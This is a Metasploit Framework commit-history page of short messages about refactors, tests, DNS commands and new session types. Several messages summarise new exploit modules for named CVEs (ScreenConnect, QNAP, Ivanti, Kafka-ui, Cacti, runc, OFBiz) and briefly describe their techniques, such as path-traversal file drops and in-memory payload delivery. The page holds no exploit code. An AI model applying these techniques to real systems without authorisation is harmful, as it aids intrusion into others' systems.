Compare commits

...

1442 Commits

Author SHA1 Message Date
Jack Heysel 4fe861c653 Land #18878, Update rspec gems
This PR updates a number of rspec gems which help improve test suite
error messages when string encodings are different.
2024-02-28 20:37:11 -08:00
Metasploit 42255a27a6 automatic module_metadata_base.json update 2024-02-28 10:13:56 -06:00
adfoster-r7 26214cbfd2 Land #18889, Fresh SQL prompt when pressing enter if no input was provided 2024-02-28 15:40:43 +00:00
Jack Heysel 4b54d43db5 Land #18892, Add AD CS Updates for ESC13
This PR adds functionality to enable Metasploit users
to be able to exploit the latest ESC technique, ESC13.
2024-02-28 07:28:16 -08:00
Spencer McIntyre 1726767fdf Update the workflow docs for ESC13 2024-02-28 08:48:30 -05:00
adfoster-r7 334f9e5ff9 Land #18893, updates the help command to consistently format columns 2024-02-27 17:04:00 +00:00
sjanusz-r7 efba30031d Fix early returns in Reline prompt 2024-02-27 16:59:38 +00:00
sjanusz-r7 d51aa30fff Rex Table command column width based on longest dispatcher command with sane default 2024-02-27 13:11:24 +00:00
Spencer McIntyre 75c6dcdc15 Detect templates that are vulnerable to ESC13 2024-02-26 17:28:42 -05:00
Spencer McIntyre 3cbf46c5b7 Reuse the ldap connection once established 2024-02-26 17:28:42 -05:00
Spencer McIntyre 4a51e028d8 Print multiple attributes on individual rows 2024-02-26 17:28:41 -05:00
Spencer McIntyre 97f75c19e4 Show the objectSID of groups as well 2024-02-26 17:28:41 -05:00
Spencer McIntyre fefc3cb73c Show names for issuance policy OIDs 2024-02-26 17:28:31 -05:00
sjanusz-r7 488d4c0387 Fresh SQL prompt when pressing enter if no input was provided 2024-02-26 16:49:15 +00:00
Simon Janusz b91430c878 Land #18886, Removes the 'run' command from SMB and SQL session types 2024-02-26 14:38:36 +00:00
cgranleese-r7 76a1518eab Removes the run command from SMB and SQL session type and improves smb session pwd commands error message 2024-02-26 10:55:11 +00:00
adfoster-r7 787a2cb19e Land #18872, add support for boolean datatypes on mssql 2024-02-26 10:51:58 +00:00
Metasploit 3759346f10 automatic module_metadata_base.json update 2024-02-23 13:43:57 -06:00
Jack Heysel f2de6d6357 Land #18870, Add ConnectWise ScreenConnect module.
This PR add an unauthenticatd RCE exploit for ConnectWise
ScreenConnect (CVE-2024-1709).
2024-02-23 11:25:33 -08:00
Jack Heysel 03e5b36008 Land #18833, fix for issue #18561
This PR catches an exception when updating a non-existing session.
Prior to this PR trying to run sessions -k after running workspace -D
would result in a stacktrace being printed to the console.
2024-02-23 11:18:03 -08:00
sfewer-r7 d7a0dee7d1 @rad10 noted the download link we gave no longer works, but has provided a second link, so adding that to the docs 2024-02-23 17:54:14 +00:00
sfewer-r7 ebe6e54259 use the Faker module to gen the plugins metadata. 2024-02-23 17:48:01 +00:00
sfewer-r7 fe8867356e we can use Faker::Internet.uuid here instead of rolling our own uuid maker 2024-02-23 17:47:28 +00:00
sfewer-r7 f3af1836ce allow a custom USERNAME and PASSWORD to be specified if needed. Will default to a random value. Also use Faker::Internet.email to gen an email address 2024-02-23 17:46:49 +00:00
adfoster-r7 7c000bc101 Land #18880, Fix typo in SASL supported mechanisms 2024-02-23 17:12:00 +00:00
Jeffrey Martin dee2f2aa0d Fix typo in SASL supported mechanisms 2024-02-23 10:29:47 -06:00
adfoster-r7 9ae9e06017 Land #18879, update kerberos/inspect_ticket to include PAC credential information 2024-02-23 16:20:57 +00:00
Spencer McIntyre 0ade721bf1 Propagate precise encryption key length errors 2024-02-23 10:28:05 -05:00
Spencer McIntyre 94587433cd Add a presenter for the PAC credential information 2024-02-23 09:48:09 -05:00
Spencer McIntyre ca562a95d8 Truncate private data at 88 chars
Truncating at 87 was the exact length to trim the last byte of an AES256
kerberos key. Furthermore, adding the (TRUNCATED) string to the end
caused the resuting value to be larger than the original trucated value.
2024-02-23 09:46:44 -05:00
Spencer McIntyre 257ec484c7 Show names for x509 OID constants 2024-02-22 17:36:30 -05:00
Spencer McIntyre 4b7f4e2b0d Just show the DN, commas and all
This way the DN can just be copy-pasted into locations where a DN is
expected.
2024-02-22 17:36:30 -05:00
adfoster-r7 8fca7d188f Update rspec libraries 2024-02-22 21:02:37 +00:00
sfewer-r7 003d5e7006 The check routine can now display the targets platform in addition to the version number (we can determine this with a single request, so there is no major change here). This is usefull so you know what platform to set the exploits target to (so you can select an appropriate payload). Thanks @iagox86 for the idea! 2024-02-22 19:23:48 +00:00
Zach Goldman d65827367f Land #18874 Fix undefined mssql_query method call on mssql client 2024-02-22 13:35:04 -05:00
Metasploit a183289945 automatic module_metadata_base.json update 2024-02-22 12:17:58 -06:00
adfoster-r7 f3a637b4e9 Land #18873, fix the create session datastore option from appearing for payloads 2024-02-22 17:50:52 +00:00
Zach Goldman 854dcc5776 add support for boolean datatypes on mssql 2024-02-22 11:08:49 -06:00
sfewer-r7 27a1233de8 Turns out only x64 is supported on Windows, so remove ARCH_X86, as if we try to inject an x86 payload in-memory we crash the target x64 service. 2024-02-22 16:41:18 +00:00
sjanusz-r7 a07d1c88be Fix undefined mssql_query on mssql client 2024-02-22 16:41:10 +00:00
sfewer-r7 79bfbe4310 now that Linux is a target we have to move this to the multi directory 2024-02-22 16:34:43 +00:00
Spencer McIntyre 2c09f385d6 Land #18849, Improve visual indentation
Improve visual indentation logic for tables
2024-02-22 11:23:53 -05:00
cgranleese-r7 d52220cccb Fixes the create session datastore option from appearing for payloads 2024-02-22 14:58:41 +00:00
sfewer-r7 65cb30b0a4 update docs 2024-02-22 14:55:02 +00:00
sfewer-r7 0b14d1b495 add a Linux command payload target, tested on version 20.3.31734. We leverage the path traversal CVE-2023-1708 to ensure the dropped ASHX file can be reached. This was blocking the Linux target from working. Also works fine on Windows. We leverage FileDropper mixin to delete this file. 2024-02-22 14:54:45 +00:00
sfewer-r7 8b4fee010c remove the full stop to make it easier to copy andpast the password (and not accidentaly copy the full stop charachter) 2024-02-22 14:52:18 +00:00
adfoster-r7 d76dd4a7fb Improve visual indentation logic for tables 2024-02-22 14:43:29 +00:00
adfoster-r7 4af5c5438f Land #18830, SQL sessions consolidation 2024-02-22 11:42:11 +00:00
Metasploit c5eb4eb8a9 Bump version of framework to 6.3.58 2024-02-22 03:35:01 -06:00
Christophe De La Fuente a1a0df74eb Land #18866, Update Windows 11 Mimikatz support - update metasploit-payloads gem to 2.0.166 2024-02-22 09:50:35 +01:00
sfewer-r7 eded0e7788 POST the payload.encoded data when we trigger the ASHX file, this way we dont drop the Metasploit payload to disk. 2024-02-21 23:38:35 +00:00
sjanusz-r7 085071da02 Convert generic SQL mixin into a class 2024-02-21 18:01:55 +00:00
sfewer-r7 f6b1c9b1ce add in docs 2024-02-21 17:44:16 +00:00
sfewer-r7 e0ee7940d0 CISA has assigned this vulnerability CVE-2024-1709 2024-02-21 17:12:08 +00:00
sfewer-r7 2839683af5 use Rex::RandomIdentifier::Generator to generate identifiers. 2024-02-21 17:08:40 +00:00
Metasploit aefebd996a automatic module_metadata_base.json update 2024-02-21 11:07:58 -06:00
Jack Heysel 0aa20c73a4 Land #18832, Add exploit module CVE-2023-47218
The PR adds a module targeting CVE-2023-47218, an
unauthenticated command injection vuln affecting QNAP
QTS and QuTH Hero.
2024-02-21 08:48:30 -08:00
sjanusz-r7 1b7c2bbaec SQL sessions consolidation 2024-02-21 16:16:14 +00:00
sfewer-r7 10f11c94e1 improve the error description for failure messages 2024-02-21 16:11:50 +00:00
sfewer-r7 9828ffa870 add an in-memory payload target 2024-02-21 16:07:01 +00:00
sfewer-r7 2d8b0f414d remove redundant slashes in other calls to normalize_uri 2024-02-21 16:04:19 +00:00
sfewer-r7 61c1a513a5 drop the leading forward slash 2024-02-21 15:59:25 +00:00
dwelch-r7 cc565a1731 Land #18871, Fix crash when using webconsole 2024-02-21 14:05:16 +00:00
adfoster-r7 82c2eb9899 Fix crash when using webconsole 2024-02-21 13:53:17 +00:00
sfewer-r7 6d473b2424 remove debug prints 2024-02-21 13:30:06 +00:00
sfewer-r7 c529749f77 fix tabs 2024-02-21 13:14:35 +00:00
cgranleese-r7 7b618d4f41 Land #18817, Improve options display optional session types 2024-02-21 13:03:45 +00:00
Dean Welch bf1608a4ad Show session/rhost options separate from each other 2024-02-21 12:51:11 +00:00
Metasploit f70667124f automatic module_metadata_base.json update 2024-02-20 17:56:50 -06:00
bwatters d21e4080a9 Land #18792, Ivanti Connect Secure - Unauth RCE (CVE-2024-21893 + CVE-2024-21887) #18792
Merge branch 'land-18792' into upstream-master
2024-02-20 17:40:12 -06:00
Spencer McIntyre b79790cff6 Update metasploit-payloads gem to 2.0.166
Includes changes from:
* rapid7/metasploit-payloads#698
2024-02-20 13:35:42 -05:00
adfoster-r7 06b3004af4 Land #18864, allias ls and dir commands inside new SMB session type prompt 2024-02-20 18:22:45 +00:00
cgranleese-r7 a30a7f81e5 Land #18865, Consolidate option dumps 2024-02-20 18:09:02 +00:00
Dean Welch e288592beb Add yard docs and small tidy up 2024-02-20 16:15:16 +00:00
Dean Welch 901a972a71 Remove extra CI test run 2024-02-20 14:48:04 +00:00
cgranleese-r7 4fcb4a4e3a Land #18863, Expose MSSQL initial connection info in client 2024-02-20 14:17:34 +00:00
cgranleese-r7 768ad16d8c Alias ls and dir inside new smb session type prompt 2024-02-20 14:15:30 +00:00
Dean Welch 175d584ff7 Consolidate option dump remove condition datastore condition on tests 2024-02-20 14:09:17 +00:00
sjanusz-r7 200d03c417 Expose MSSQL initial connection info in client 2024-02-20 11:36:10 +00:00
Metasploit a3d8b0f77a automatic module_metadata_base.json update 2024-02-19 10:41:33 -06:00
cgranleese-r7 e66f6c106b Land #18847, Add Proxies support to creating a session with postgres_login 2024-02-19 16:20:09 +00:00
cgranleese-r7 3be5988679 Land #18848, Add Proxies support to creating a session with mssql_login 2024-02-19 16:10:37 +00:00
Metasploit 2cc8281db7 automatic module_metadata_base.json update 2024-02-19 08:42:51 -06:00
cgranleese-r7 c2a217efcd Land #18854, Add Proxies support to creating a session with mysql_login 2024-02-19 14:27:22 +00:00
adfoster-r7 5735c7cb89 Land #18857, Documentation: Updated instructions for setting up msfdb 2024-02-19 13:38:03 +00:00
dwelch-r7 6db865a46c Land #18850, Fix failing ldap server tests 2024-02-19 12:39:52 +00:00
sjanusz-r7 b2f36e41c4 Add Proxies support to creating a session with mysql_login 2024-02-19 12:22:51 +00:00
Metasploit 66696d201b automatic module_metadata_base.json update 2024-02-19 05:33:15 -06:00
cgranleese-r7 db3b2de3f3 Land #18855, Use database_name for SQL sessions 2024-02-19 11:10:02 +00:00
dwelch-r7 0108f1f214 Land #18861, Removes SessionType values from modules with OptionalSession mixin 2024-02-19 10:57:41 +00:00
cgranleese-r7 de17261926 Removes session types from module with session type mixin 2024-02-19 10:34:16 +00:00
sjanusz-r7 64ab62f2c3 Use database_name for SQL sessions 2024-02-17 03:31:58 +00:00
adfoster-r7 ca367bc87b Fix failing LDAP server tests 2024-02-16 23:43:07 +00:00
Metasploit 19c1a35592 automatic module_metadata_base.json update 2024-02-16 14:55:39 -06:00
Jack Heysel 8cddffa3d1 Land #18700, Add Kafka-ui Unauth RCE module
This PR adds an exploit module for CVE-2023-52251 which
is an unauthenticated rce vulnerability in Kafka's UI.
2024-02-16 15:38:52 -05:00
Metasploit eef29a5100 automatic module_metadata_base.json update 2024-02-16 14:31:32 -06:00
sjanusz-r7 bc6bf1c4f3 Add Proxies support to creating a session with mssql_login 2024-02-16 20:22:11 +00:00
Jack Heysel a1b0ff0fcf Land #18681, Update Apache Ofbiz w. Auth-Bypass
This PR updates the pre-existing apache_ofbiz_deserialization
module to include functionality that will bypass authentication by
using the newly discovered CVE-2023-51467.
2024-02-16 15:02:34 -05:00
sjanusz-r7 fc963bd8bb Add Proxies support to creating a session with postgres_login 2024-02-16 14:45:17 +00:00
adfoster-r7 94f0d243c7 Land #18846, msftidy_docs.rb add TARGETURI to universal option list 2024-02-16 14:23:33 +00:00
Christophe De La Fuente da9164fcc6 Add targeturi to universal option list 2024-02-16 12:58:49 +01:00
jlownie 90ed3cd00a Merge pull request #1 from jlownie/jlownie-patch-1
Documentation: Updated instructions for setting up msfdb
2024-02-16 13:50:43 +11:00
jlownie 0e98da39c2 Updated instructions for setting up msfdb
Added some missing information
2024-02-16 13:43:40 +11:00
adfoster-r7 bbe1098b13 Land #18842, update docker image bundler args 2024-02-15 23:22:57 +00:00
Metasploit e15fd1a782 automatic module_metadata_base.json update 2024-02-15 16:35:11 -06:00
Jack Heysel 6c252de974 Docs plus minor edits 2024-02-15 17:12:11 -05:00
adfoster-r7 7b56d012e8 Land #18678, add LDAP capture capabilities 2024-02-15 22:11:04 +00:00
adfoster-r7 40701bf59a Fix auhtentication typo in lib/rex/proto/ldap/auth.rb 2024-02-15 21:26:45 +00:00
upsidedwn 8dcb409d25 Fix BUNDLER_CONFIG_ARGS variable mismatch in Dockerfile
Previous version of Dockerfile used `set clean 'true'`. However, this no longer works with "newer" versions of Ruby gems (rubygems/rubygems#3271), which now requires a force option when cleaning system gems.

Since there is no way to set the force flag through config, a new ARG (BUNDLER_FORCE_CLEAN) is used to provide the option of whether to run bundle clean --force on system gems.
2024-02-16 02:16:42 +08:00
Metasploit 1d9a08f405 automatic module_metadata_base.json update 2024-02-15 07:43:02 -06:00
adfoster-r7 e49c6a792a Land #18770, Extract SMB, PostgreSQL, MySQL and MSSQL optional sessions into their own mixins 2024-02-15 13:19:37 +00:00
Metasploit 8e3daa5179 Bump version of framework to 6.3.57 2024-02-15 03:37:54 -06:00
adfoster-r7 1d406cfc2a Land #18809, DNS command improvements 2024-02-14 22:12:30 +00:00
h00die-gr3y d716e60cf2 added base64 encoder module of zerosteiner 2024-02-14 21:33:50 +00:00
h00die-gr3y f5c71d09c2 using data/kafka_ui_versions.json for the version check 2024-02-14 20:57:46 +00:00
H00die.Gr3y 8b70cefd83 Update modules/exploits/linux/http/kafka_ui_unauth_rce_cve_2023_52251.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-14 20:57:46 +00:00
H00die.Gr3y 996ca8a7c9 Update documentation/modules/exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-14 20:57:46 +00:00
h00die-gr3y f75722ecf2 Small updates to module and documentation 2024-02-14 20:57:46 +00:00
h00die-gr3y dde7e3c5d3 Small tweaks to verbose messages 2024-02-14 20:57:46 +00:00
h00die-gr3y eafdb8495b Added documentation 2024-02-14 20:57:46 +00:00
h00die-gr3y d5f30befbb Second release of module 2024-02-14 20:57:46 +00:00
h00die-gr3y 3db32da70f First release of module. 2024-02-14 20:57:45 +00:00
h00die-gr3y 5f703b2e28 First draft. Not ready for review 2024-02-14 20:57:45 +00:00
Spencer McIntyre eca99e2c77 Refactor resolver types 2024-02-14 14:40:22 -05:00
Spencer McIntyre 27ccb26de1 Adjust the confirmation logic before resetting 2024-02-14 14:27:05 -05:00
Spencer McIntyre a75013e51a Land #18616, Fix aarch64 elf shared SIGBUS error
Fix aarch64 elf shared object bus error
2024-02-14 13:30:29 -05:00
Jack Heysel d987b81591 Use Rex MIME Message 2024-02-14 13:15:37 -05:00
Metasploit 7228a2ad20 automatic module_metadata_base.json update 2024-02-14 10:52:51 -06:00
Christophe De La Fuente 747d328bcb Land #18786, Fix option collision in service_persistence 2024-02-14 17:25:15 +01:00
Dean Welch fa5c4c0193 lowercase session types 2024-02-14 15:45:34 +00:00
Dean Welch 0d4e1ed755 Use mssql option session mixin with mssql modules 2024-02-14 15:37:11 +00:00
Dean Welch 587a8690a1 Use individual session mixins 2024-02-14 15:37:11 +00:00
Dean Welch 08872d0211 Add session type to info hash in the mixin 2024-02-14 15:37:11 +00:00
Dean Welch 0f319bdfb9 Extract SMB and PostgreSQL optional sessions into their own mixins 2024-02-14 15:37:11 +00:00
Spencer McIntyre df81cda304 Bump rex-socket to pull in validation changes 2024-02-14 09:39:51 -05:00
Metasploit 3447ca37ea automatic module_metadata_base.json update 2024-02-14 08:38:46 -06:00
Christophe De La Fuente fc5a12431c Land #18664, Add an SMB-based fetch payload for Windows 2024-02-14 14:57:32 +01:00
dwelch-r7 bd78f03c98 Land #18834, Remove redundant require statements in tests 2024-02-14 12:33:33 +00:00
adfoster-r7 0d250c49fa Remove redundant require statements in tests 2024-02-14 12:26:08 +00:00
Metasploit 2409d132ae automatic module_metadata_base.json update 2024-02-14 05:09:43 -06:00
adfoster-r7 1794a5fbee Land #18763, Mssql session modules 2024-02-14 10:54:04 +00:00
Spencer McIntyre b6b382c4d2 Catch exception when updating non-existing session 2024-02-13 16:28:45 -05:00
Zach Goldman d18520adc6 update rhost and rport calls 2024-02-13 13:00:38 -06:00
Metasploit 9b4d6f1219 automatic module_metadata_base.json update 2024-02-13 12:35:36 -06:00
Christophe De La Fuente cb290d8032 Land #18807, Add a base64 ARCH_CMD encoder 2024-02-13 19:11:57 +01:00
Zach Goldman c05c6773df adjust session logic in modules 2024-02-13 11:59:09 -06:00
Spencer McIntyre 1cd5b707bb Add additional platforms and decoders 2024-02-13 18:34:40 +01:00
Spencer McIntyre 49e689d909 Some improvements to the encoder
* Skip encoding when it is not necessary
* Use command -v instead of which for portability
2024-02-13 18:34:40 +01:00
Spencer McIntyre 9c6e1a584a Add a base64 ARCH_CMD encoder 2024-02-13 18:34:40 +01:00
sfewer-r7 423bf0c519 work in progress exploit module for cve-2023-47218 2024-02-13 17:32:14 +00:00
adfoster-r7 34a8b6c29c Land #18828, revert change to each_module for compatible nops 2024-02-13 12:18:48 +00:00
Dean Welch 94005719f4 Revert change to each_module for compatible nops 2024-02-13 11:15:27 +00:00
Metasploit ef54cfd0f3 automatic module_metadata_base.json update 2024-02-13 04:16:07 -06:00
adfoster-r7 b762d2ba65 Land #18795, Move CreateSession from advanced into basic options 2024-02-13 10:00:35 +00:00
Metasploit d49f60282c automatic module_metadata_base.json update 2024-02-12 15:07:34 -06:00
Spencer McIntyre 202db99004 Land #18801, Fix revision number checks
Fix revision number checks in cve_2022_26904_superprofile.rb
2024-02-12 15:52:16 -05:00
Metasploit 793f3557a2 automatic module_metadata_base.json update 2024-02-12 14:47:24 -06:00
Spencer McIntyre 45365c8666 Land #18800, Fix revision number checks
Fix revision number checks for cve_2021_40449.rb
2024-02-12 15:19:56 -05:00
Spencer McIntyre ce0498377d Land #18798, fix version checks
windows/local/cve_2020_0787_bits_arbitrary_file_move (and similar) fails due to incorrect revision_number checks
2024-02-12 15:11:07 -05:00
Spencer McIntyre 8eb5aa6aa6 Land #18799, Fix revision number checks
Fix revision number checks for cve_2020_17136.rb
2024-02-12 15:01:45 -05:00
adfoster-r7 88e1e2e932 Land #18826, Fix a bug where clean up was not being invoked 2024-02-12 18:01:11 +00:00
adfoster-r7 84f4c3c13f Land #18820, fix incorrectly named shared example file 2024-02-12 17:59:26 +00:00
adfoster-r7 9e456a27e3 Land #18825, improve error message for incompatible sessions 2024-02-12 17:44:20 +00:00
dwelch-r7 8717e91a3c Land #18823, Fix module metadata platform list comparison 2024-02-12 17:31:46 +00:00
Spencer McIntyre d67aa2e250 Fix a bug where clean up was not being invoked 2024-02-12 17:24:24 +00:00
cgranleese-r7 982f92b9b6 Improve error message for incompatible sessions 2024-02-12 17:02:42 +00:00
dwelch-r7 8106dbe5e0 Land #18806, Improves unknown command handling 2024-02-12 16:59:44 +00:00
cgranleese-r7 450fd0876f Improve unknown command handling 2024-02-12 16:43:56 +00:00
Dean Welch 43eb2a7c9b be more specific with mssql mock 2024-02-12 16:12:37 +00:00
Metasploit 69eaf75b7a automatic module_metadata_base.json update 2024-02-12 09:53:41 -06:00
cgranleese-r7 b40f36e62a Land #18774, Add support for newer sqlcmd versions 2024-02-12 15:33:15 +00:00
Christophe De La Fuente a90ff41f71 Use casecmp? instead of casecmp 2024-02-12 16:20:12 +01:00
dwelch-r7 2f4a1ac300 Land #18778, Fix source location tracking for Ruby kernel patches 2024-02-12 14:47:07 +00:00
Spencer McIntyre 7e5938061c Fix a bug where clean up was not being invoked 2024-02-12 08:51:10 -05:00
Dean Welch f9fb803af7 fix misnamed shared example and missing mssql mocks 2024-02-12 12:30:49 +00:00
adfoster-r7 5fa1ce8ed2 Add support for newer sqlcmd versions 2024-02-12 11:51:02 +00:00
adfoster-r7 3cf3d0995e Land #18813, fix broken hosts and services help command 2024-02-12 11:50:14 +00:00
cgranleese-r7 699afaff45 Adds some notification message about 6.4 release features 2024-02-12 11:37:47 +00:00
cgranleese-r7 5d165466ff Move CreateSession from advanced into basic options 2024-02-12 11:35:27 +00:00
Spencer McIntyre 5036d28b44 Validate hostnames before storing them
This proactively fixes a potential DoS condition where if a user were to
add a hostname containing a ; and followed by data that is not an IP
address that MSF may fail to start.

Example:
dns add-static 'foo;bar' 192.0.2.1
save
2024-02-09 14:52:41 -05:00
Zach Goldman 94223f05fc update relevant modules to work with sessions
separate out optional session logic

fixing session handling
2024-02-09 13:18:49 -06:00
Metasploit 1d2acd67e4 automatic module_metadata_base.json update 2024-02-09 11:18:25 -06:00
cgranleese-r7 285fbe5ac5 Land #18812, Revert mssql_login TDSENCRYPTION value to false 2024-02-09 17:03:10 +00:00
Metasploit c1df6f2647 automatic module_metadata_base.json update 2024-02-09 10:49:10 -06:00
adfoster-r7 dc47d03503 Land #18706, Use PostgreSQL session type for Postgres modules 2024-02-09 16:33:56 +00:00
adfoster-r7 72932bdae1 Fix broken hosts and services help command 2024-02-09 16:28:47 +00:00
adfoster-r7 37ee910d2f Revert mssql_login TDSENCRYPTION value to false 2024-02-09 16:07:45 +00:00
Metasploit 0c83ad46aa automatic module_metadata_base.json update 2024-02-09 09:43:25 -06:00
sjanusz-r7 30fc29e0f5 Use PostgreSQL session type for modules 2024-02-09 15:38:06 +00:00
adfoster-r7 9caa2fac17 Land #18747, Add new mssql session type 2024-02-09 15:27:43 +00:00
Spencer McIntyre 99b2bfec1f Support -1 in the --session argument 2024-02-09 08:57:23 -05:00
Zach Goldman 2c60780dc0 Add MSSQL session Type 2024-02-09 07:27:01 -06:00
sfewer-r7 1f292c8a73 remove the linux and unix targets in favor of a single automatic target 2024-02-09 09:26:08 +00:00
Spencer McIntyre 1b2a2af4d4 Fix unit tests on Ruby 3.2 because IPAddr =~ fails 2024-02-08 17:10:49 -05:00
Spencer McIntyre 56d2dfa46a Fix removing invalid DNS rule IDs 2024-02-08 17:00:40 -05:00
Spencer McIntyre 934b10a626 Fix a bug when dns -h is run 2024-02-08 16:52:45 -05:00
Spencer McIntyre 630301a0df Add versioning to the DNS configuration 2024-02-08 16:39:24 -05:00
Spencer McIntyre 1cab98f4c2 Support multiple addresses for a static hostname 2024-02-08 16:05:54 -05:00
Spencer McIntyre 62e960352f Refactor naming entries as rules 2024-02-08 13:05:53 -05:00
Spencer McIntyre 243ebcb3a6 Add some missing documentation 2024-02-08 13:05:53 -05:00
Spencer McIntyre c1a08b97d2 Load the termux hosts file path too 2024-02-08 13:05:50 -05:00
Spencer McIntyre 11ca24e290 Specify the record type for PTR lookups 2024-02-08 11:22:33 -05:00
Spencer McIntyre 5c9b454291 Change initialization to allow reseting
Change how the resolver is initialized so the instance can be reset to
sane default values loaded from the operating system.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 2653a180e4 Update tests add new initialization methods 2024-02-08 11:22:33 -05:00
Spencer McIntyre 648a7b394d Update configuration saving and loading 2024-02-08 11:22:33 -05:00
Spencer McIntyre bd7d4f0099 Add commands to manage static hostname records 2024-02-08 11:22:33 -05:00
Spencer McIntyre fcd84a41aa Add a DNS resolver for static entries
Move support for static entries out of the cache so it can be controlled
like the other resolvers.
2024-02-08 11:22:33 -05:00
Spencer McIntyre d940bfd312 Show the number of cached dns records 2024-02-08 11:22:33 -05:00
Spencer McIntyre 2cf706e91f Use the dns entry index instead of unique IDs 2024-02-08 11:22:33 -05:00
Spencer McIntyre 43a7993215 Show the matching rule for DNS resolution 2024-02-08 11:22:33 -05:00
Spencer McIntyre 470a28921e Add dedicated help menus for subcommands with args 2024-02-08 11:22:33 -05:00
Spencer McIntyre 3c716041bd Add the blackhole resolver 2024-02-08 11:22:33 -05:00
Spencer McIntyre 3445c1b588 Add the system resolver for A and AAAA queries 2024-02-08 11:22:33 -05:00
Spencer McIntyre a5dc63617f Refactor resolver entries to unify them
Now resolution will match a single rule, but that rule can have multiple
servers.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 464d2eef73 Add a method for upstream resolvers from query args 2024-02-08 11:22:33 -05:00
Spencer McIntyre 7fe10d8613 Switch to a more generic upstream resolvers model
Upstream resolvers can be DNS servers or something else.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 282f97ba2d Add the flush-cache subcommand
Also rename purge to flush-entries and update descriptions to clarify
what exactly is being flushed.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 319cff7d3a Change the DNS timeout from 30 to 5 seconds
Also, add the #to_i method for timeouts
This makes it compatible with Rex Sockets later on
2024-02-08 11:22:33 -05:00
Spencer McIntyre fd943f1401 Make the resolve subcommand more like Meterpreter
Make the dns resolve subcommand more like the resolve command in
Meterpreter. Also alphabetize things.
2024-02-08 11:22:33 -05:00
Spencer McIntyre c780bfcb66 Add a DNS query command for inspection 2024-02-08 11:22:32 -05:00
Spencer McIntyre 20f73867ca Print the default domain and search list too 2024-02-08 11:22:32 -05:00
Spencer McIntyre 6fdfd7147c Print the system nameservers too 2024-02-08 11:22:32 -05:00
Spencer McIntyre 9181d93807 Search for a resolv.conf file 2024-02-08 11:22:32 -05:00
dwelch-r7 87e78d4f8d Land #18783, remove initialize warnings from rspec tests 2024-02-08 14:38:02 +00:00
Metasploit 0625e84b57 automatic module_metadata_base.json update 2024-02-08 07:04:19 -06:00
adfoster-r7 8b71afdd53 Land #18759, Updates MySQL modules to now support the new MySQL session type 2024-02-08 12:39:51 +00:00
Metasploit d3bde6b172 Bump version of framework to 6.3.56 2024-02-08 03:38:37 -06:00
adfoster-r7 108e5afaea Land #18803, Remove all references to Msf::SymbolicModule 2024-02-07 21:50:16 +00:00
cgranleese-r7 02ae96edb0 Addresses RPORT not defaulting correctly 2024-02-07 16:07:15 +00:00
Dean Welch 792708c07b Remove all references to Msf::SymbolicModule 2024-02-07 15:08:47 +00:00
cgranleese-r7 b060809a8d Addresses logoff PR feedback 2024-02-07 12:51:04 +00:00
upsidedwn 4b5d04e59e Fix revision number checks in cve_2022_26904_superprofile.rb 2024-02-07 11:30:42 +08:00
upsidedwn ccb446f2ae Fix revision number checks for cve_2021_40449.rb 2024-02-07 11:28:00 +08:00
upsidedwn 436efad4ca Fix revision number checks 2024-02-07 11:25:41 +08:00
upsidedwn 47d30696bc Fix revision_number checks 2024-02-07 11:20:12 +08:00
h00die 84278b8e0e fix ofbiz auto detection 2024-02-06 16:45:02 -05:00
cgranleese-r7 e80f0ef8cd Removes session logic from mixins and uses client instead of datastore for rhost and rport 2024-02-06 14:11:16 +00:00
sfewer-r7 03a58c784b fix typo in variable name 2024-02-06 14:08:54 +00:00
cgranleese-r7 b72d8d16d4 Land #18782, Update Windows installation docs to mention requirement to install as Administrator 2024-02-06 13:05:04 +00:00
sfewer-r7 367783bcb5 add in RCE exploit for CVE-2024-21893 2024-02-06 11:49:04 +00:00
ekalinichev-r7 9ae54e08bc Update code formatting in Metasploit installation docs
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2024-02-06 11:35:50 +01:00
adfoster-r7 5975d668f6 Land #18773, Support CTRL + Z for interactive SQL REPL 2024-02-05 16:39:13 +00:00
adfoster-r7 b109fe0cf7 Land #18787, Temporarily remove PHP github action testing 2024-02-05 16:07:08 +00:00
adfoster-r7 12b188d186 Temporarily remove PHP github action testing 2024-02-05 14:36:26 +00:00
Metasploit aec2a82af4 automatic module_metadata_base.json update 2024-02-05 06:35:04 -06:00
Christophe De La Fuente d546db6055 Land #18780, runc cwd priv esc (docker) (cve-2024-21626) 2024-02-05 13:12:02 +01:00
sjanusz-r7 4039ae137a Support CTRL + Z for interactive SQL REPL 2024-02-05 11:14:51 +00:00
lihe07 29524fa7f8 Fix option collision in service_persistence
The option `SHELLPATH` collide with `cmd/unix/reverse_netcat`,
resulting in abnormal backdoors. This commit rename it to BACKDOOR_PATH
2024-02-03 23:18:45 +08:00
h00die cf2f76e6a2 cve-2024-21626 review 2024-02-02 16:27:02 -05:00
Zach Goldman 23e184c9ce Fix removing initialize warnings 2024-02-02 11:04:44 -06:00
Metasploit 77a2340b34 automatic module_metadata_base.json update 2024-02-02 11:02:14 -06:00
Jack Heysel 85974d16c2 Land #18769, Add Cacti RCE via SQLi Module
This exploit module leverages a SQLi (CVE-2023-49085) and
a LFI (CVE-2023-49084) vulnerability in Cacti versions prior
to 1.2.26 to achieve RCE
2024-02-02 11:46:10 -05:00
Metasploit ef8f8bc8d3 automatic module_metadata_base.json update 2024-02-02 09:12:30 -06:00
cgranleese-r7 577304cf7c Updates more modules 2024-02-02 14:59:56 +00:00
cgranleese-r7 ae1cb57dc3 Updates MySQL modules to now support the new MySQL session type 2024-02-02 14:59:56 +00:00
adfoster-r7 46e34e5362 Land #18718, Add MySQL session type 2024-02-02 14:57:10 +00:00
Metasploit bb3e872bc5 automatic module_metadata_base.json update 2024-02-02 08:45:20 -06:00
cgranleese-r7 0e9cad6d45 Adds MySQL session type 2024-02-02 14:39:37 +00:00
Jeffrey Martin bed552d26e set error on unsupported LDAP auth 2024-02-02 08:36:00 -06:00
adfoster-r7 48221e594d Land #18704, Leverage the module metadata cache in the module_sets 2024-02-02 14:16:46 +00:00
adfoster-r7 7ac4387d35 Land #18696, Convert MSSQL mixin to class 2024-02-02 14:14:34 +00:00
Christophe De La Fuente b91648f065 Fix typos 2024-02-02 11:45:51 +01:00
